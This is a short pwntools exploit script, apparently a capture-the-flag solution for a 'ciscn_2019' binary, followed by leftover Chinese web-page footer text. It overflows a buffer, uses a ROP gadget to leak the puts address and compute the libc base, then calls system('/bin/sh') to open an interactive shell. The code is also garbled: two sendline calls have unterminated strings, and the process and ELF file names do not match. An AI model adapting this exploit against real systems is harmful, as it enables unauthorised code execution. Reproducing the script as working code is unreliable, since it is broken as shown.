from pwn import *
context.log_level='debug'
io=process('./ciscn_2019_en_2')
libc=ELF('./libc.so')
elf=ELF("./ciscn_2019_c_1")
buf_end=0x00007FFECCEAFE18
buf_start=0x00007FFECCEAFDC0
io.sendline(')
io.sendline('\x00'+(buf_end-buf_start-1)*'a'+p64(0x0000000000400c83)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.symbols['_start']))
libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.symbols['puts']
system=libc_base+libc.symbols['system']
io.sendline(')
io.sendline('\x00'+(buf_end-buf_start-1)*'a'+p64(0x0000000000400c83)+p64(libc_base+libc.search('/bin/sh').next())+p64(system))
io.interactive()
手机扫一扫
移动阅读更方便
你可能感兴趣的文章